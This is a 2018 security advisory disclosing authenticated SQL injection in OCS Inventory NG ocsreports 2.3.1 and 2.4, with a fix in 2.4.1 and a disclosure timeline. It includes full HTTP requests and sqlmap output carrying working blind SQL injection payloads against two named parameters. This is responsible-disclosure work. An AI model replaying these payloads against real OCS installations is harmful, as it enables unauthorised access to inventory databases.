Affected Products
   OCS Inventory NG ocsreports 2.4
   OCS Inventory NG ocsreports 2.3.1
   (older/other releases have not been tested)
References
   https://www.secuvera.de/advisories/secuvera-SA-2017-04.txt (used for updates)
   https://www.ocsinventory-ng.org/en/ocs-inventory-server-2-4-1-has-been-released/ (Release announcement of OCS Inventory 2.4.1)

Summary:
   Open Computer and Software Inventory Next Generation (OCS inventory NG) is free software that 
   enables users to inventory IT assets. (Source: Wikipedia)
   OCS Reports for OCS Inventory is a web application to manage the OCS Inventory Server and Clients. 
   The web application is prone to SQL injection (SQLi) attacks.

Effect:
   An authenticated attacker is able to gain full access to data stored within database.

Vulnerable Scripts:
   1) index.php: Function "visu_search" ("Search with various criteria") GET-parameter "value"
   2) ajax.php: Function "visu_groups" POST-parameter "columns%5B0%5D%5Bname%5D" ("columns[0][name]" not url-encoded style for better reading)
   
Examples:
   1) The following request of an authenticated readonly user was used in conjunction with sqlmap to exploit the issue:
   GET /index.php?function=visu_search&prov=allsoft&value=somesoft HTTP/1.1
   Host: <HOST>
   Cookie: PHPSESSID=<Valid Session Identifyer>; VERS=7011; Connection: close
   
   SQLMap Output:
   sqlmap identified the following injection point(s) with a total of 232 HTTP(s) requests:
   ---
   Parameter: value (GET)
       Type: boolean-based blind
       Title: AND boolean-based blind - WHERE or HAVING clause
       Payload: function=visu_search&prov=allsoft&value=somesoft' AND 6455=6455 AND 'Ymqk'='Ymqk

       Type: AND/OR time-based blind 
       Title: MySQL >= 5.0.12 AND time-based blind
       Payload: function=visu_search&prov=allsoft&value=somesoft' AND SLEEP(5) AND 'LhKg'='LhKg
   ---

   
   2)
   POST /ajax.php?function=visu_groups&no_header=true&no_footer=true HTTP/1.1
   Host: <HOST>
   Content-Type: application/x-www-form-urlencoded; charset=UTF-8
   X-Requested-With: XMLHttpRequest
   Content-Length: 1434
   Cookie: PHPSESSID=<Valid Session Identifier>; VERS=7011;
   Connection: close

   draw=4&columns%5B0%5D%5Bdata%5D=NAME&columns%5B0%5D%5Bname%5D=h.NAME&columns%5B0%5D%5Bsearchable%5D=true&\
   columns%5B0%5D%5Borderable%5D=true&columns%5B0%5D%5Bsearch%5D%5Bvalue%5D=&columns%5B0%5D%5Bsearch%5D%5Bregex%5D=false&\
   columns%5B1%5D%5Bdata%5D=ID&columns%5B1%5D%5Bname%5D=h.ID&columns%5B1%5D%5Bsearchable%5D=true&\
   columns%5B1%5D%5Borderable%5D=true&columns%5B1%5D%5Bsearch%5D%5Bvalue%5D=&columns%5B1%5D%5Bsearch%5D%5Bregex%5D=false&\
   columns%5B2%5D%5Bdata%5D=DESCRIPTION&columns%5B2%5D%5Bname%5D=h.DESCRIPTION&columns%5B2%5D%5Bsearchable%5D=true&\
   columns%5B2%5D%5Borderable%5D=true&columns%5B2%5D%5Bsearch%5D%5Bvalue%5D=&columns%5B2%5D%5Bsearch%5D%5Bregex%5D=false&\
   columns%5B3%5D%5Bdata%5D=LASTDATE&columns%5B3%5D%5Bname%5D=h.LASTDATE&columns%5B3%5D%5Bsearchable%5D=true&\
   columns%5B3%5D%5Borderable%5D=true&columns%5B3%5D%5Bsearch%5D%5Bvalue%5D=&columns%5B3%5D%5Bsearch%5D%5Bregex%5D=false&\
   columns%5B4%5D%5Bdata%5D=NBRE&columns%5B4%5D%5Bname%5D=NBRE&columns%5B4%5D%5Bsearchable%5D=false&columns%5B4%5D%5Borderable%5D=false&\
   columns%5B4%5D%5Bsearch%5D%5Bvalue%5D=&columns%5B4%5D%5Bsearch%5D%5Bregex%5D=false&order%5B0%5D%5Bcolumn%5D=0&order%5B0%5D%5Bdir%5D=asc&\
   start=0&length=10&search%5Bvalue%5D=PENTESTME&search%5Bregex%5D=false&CSRF_85=8cfd903726e71489fd6afc44e9f3bfc002b598e0&SUP_COL=&RAZ=&\
   LANG=&CONFIRM_CHECK=&onglet=STAT&visible_col%5B%5D=0&visible_col%5B%5D=1&visible_col%5B%5D=2&visible_col%5B%5D=3&visible_col%5B%5D=4&ocs%5B%5D=&\
   <VALID Anti-CSRF-Token>

   SQLMap Output:
   sqlmap identified the following injection point(s) with a total of 232 HTTP(s) requests:
   ---
   Parameter: columns%5B0%5D%5Bname%5D (POST)
       Type: AND/OR time-based blind 
       Title: MySQL >= 5.0.12 AND time-based blind
       Payload: draw=4&columns%5B0%5D%5Bdata%5D=NAME&columns%5B0%5D%5Bname%5D=h.NAME' AND SLEEP(5) AND 'LhKg'='LhKg&columns%5B0%5D%5Bsearchable%5D=true&\
   columns%5B0%5D%5Borderable%5D=true&columns%5B0%5D%5Bsearch%5D%5Bvalue%5D=&columns%5B0%5D%5Bsearch%5D%5Bregex%5D=false&\
   columns%5B1%5D%5Bdata%5D=ID&columns%5B1%5D%5Bname%5D=h.ID&columns%5B1%5D%5Bsearchable%5D=true&\
   columns%5B1%5D%5Borderable%5D=true&columns%5B1%5D%5Bsearch%5D%5Bvalue%5D=&columns%5B1%5D%5Bsearch%5D%5Bregex%5D=false&\
   columns%5B2%5D%5Bdata%5D=DESCRIPTION&columns%5B2%5D%5Bname%5D=h.DESCRIPTION&columns%5B2%5D%5Bsearchable%5D=true&\
   columns%5B2%5D%5Borderable%5D=true&columns%5B2%5D%5Bsearch%5D%5Bvalue%5D=&columns%5B2%5D%5Bsearch%5D%5Bregex%5D=false&\
   columns%5B3%5D%5Bdata%5D=LASTDATE&columns%5B3%5D%5Bname%5D=h.LASTDATE&columns%5B3%5D%5Bsearchable%5D=true&\
   columns%5B3%5D%5Borderable%5D=true&columns%5B3%5D%5Bsearch%5D%5Bvalue%5D=&columns%5B3%5D%5Bsearch%5D%5Bregex%5D=false&\
   columns%5B4%5D%5Bdata%5D=NBRE&columns%5B4%5D%5Bname%5D=NBRE&columns%5B4%5D%5Bsearchable%5D=false&columns%5B4%5D%5Borderable%5D=false&\
   columns%5B4%5D%5Bsearch%5D%5Bvalue%5D=&columns%5B4%5D%5Bsearch%5D%5Bregex%5D=false&order%5B0%5D%5Bcolumn%5D=0&order%5B0%5D%5Bdir%5D=asc&\
   start=0&length=10&search%5Bvalue%5D=PENTESTME&search%5Bregex%5D=false&CSRF_85=8cfd903726e71489fd6afc44e9f3bfc002b598e0&SUP_COL=&RAZ=&\
   LANG=&CONFIRM_CHECK=&onglet=STAT&visible_col%5B%5D=0&visible_col%5B%5D=1&visible_col%5B%5D=2&visible_col%5B%5D=3&visible_col%5B%5D=4&ocs%5B%5D=&\
   <VALID Anti-CSRF-Token>
   ---
   
Solution:
   Install OCS Inventory Release 2.4.1 or newer. 

Disclosure Timeline:
   2017/12/15 vendor contacted, asked for security contact information
   2018/01/02 contacted vendor again after no answer was received so far
   2018/01/02 response of responsible contact 
   2018/01/22 Sent technical details
   2018/02/12 Developer replied proposing fix
   2018/03/28 Developer contacted us to announce the upcoming release
   2018/04/05 OCS Version 2.4.1 was released
   2018/08/09 Release of the security advisory
   
Credits
   Simon Bieber, secuvera GmbH
   sbieber@secuvera.de
   https://www.secuvera.de
  
Thanks to:
   Michael Hermann, secuvera GmbH 
   for his support!
   Gilles Dubois and Damien Belliard, factorfx
   for fixing this issue!
  
Disclaimer:
   All information is provided without warranty. The intent is to provide informa-
   tion to secure infrastructure and/or systems, not to be able to attack or damage.
   Therefore secuvera shall not be liable for any direct or indirect damages that 
   might be caused by using this information.